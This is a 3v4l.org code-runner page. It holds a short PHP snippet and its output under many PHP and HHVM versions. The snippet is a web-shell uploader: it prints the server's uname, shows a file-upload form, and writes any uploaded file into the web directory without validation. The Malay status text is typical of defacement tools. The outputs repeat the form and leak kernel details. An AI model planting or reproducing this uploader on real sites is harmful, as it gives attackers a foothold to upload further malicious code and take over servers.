3v4l.org

run code in 150+ php & hhvm versions
Bugs & Features
<?php echo '<b><br><br>'.php_uname().'<br></b>'; echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">'; echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>'; if( $_POST['_upl'] == "Upload" ) { if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Fix ID</b><br><br>'; } else { echo '<b>Muat Naik Tidak Berjaya</b><br><br>'; } } ?>
Output for 7.1.0
<b><br><br>Linux php_shell 4.8.11-1-ARCH #1 SMP PREEMPT Sun Nov 27 09:26:14 CET 2016 x86_64<br></b><form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader"><input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form> Notice: Undefined index: _upl in /in/D8INQ on line 5
Output for 5.6.28, 7.0.14
<b><br><br>Linux php_shell 4.8.6-1-ARCH #1 SMP PREEMPT Mon Oct 31 18:51:30 CET 2016 x86_64<br></b><form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader"><input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form> Notice: Undefined index: _upl in /in/D8INQ on line 5
Output for 5.3.0 - 5.6.25, 7.0.0 - 7.0.10
<b><br><br>Linux php_shell 4.7.0-1-ARCH #1 SMP PREEMPT Mon Aug 8 22:05:58 CEST 2016 x86_64<br></b><form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader"><input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form> Notice: Undefined index: _upl in /in/D8INQ on line 5
Output for hhvm-3.10.0 - 3.12.0
<b><br><br>Linux php_shell 4.6.4-1-ARCH #1 SMP PREEMPT Mon Jul 11 19:12:32 CEST 2016 x86_64<br></b><form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader"><input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form> Notice: Undefined index: _upl in /in/D8INQ on line 5
Output for 4.3.0 - 5.2.17
<b><br><br>Linux php_shell 4.7.0-1-ARCH #1 SMP PREEMPT Mon Aug 8 22:05:58 CEST 2016 x86_64<br></b><form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader"><input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form> Notice: Undefined index: _upl in /in/D8INQ on line 5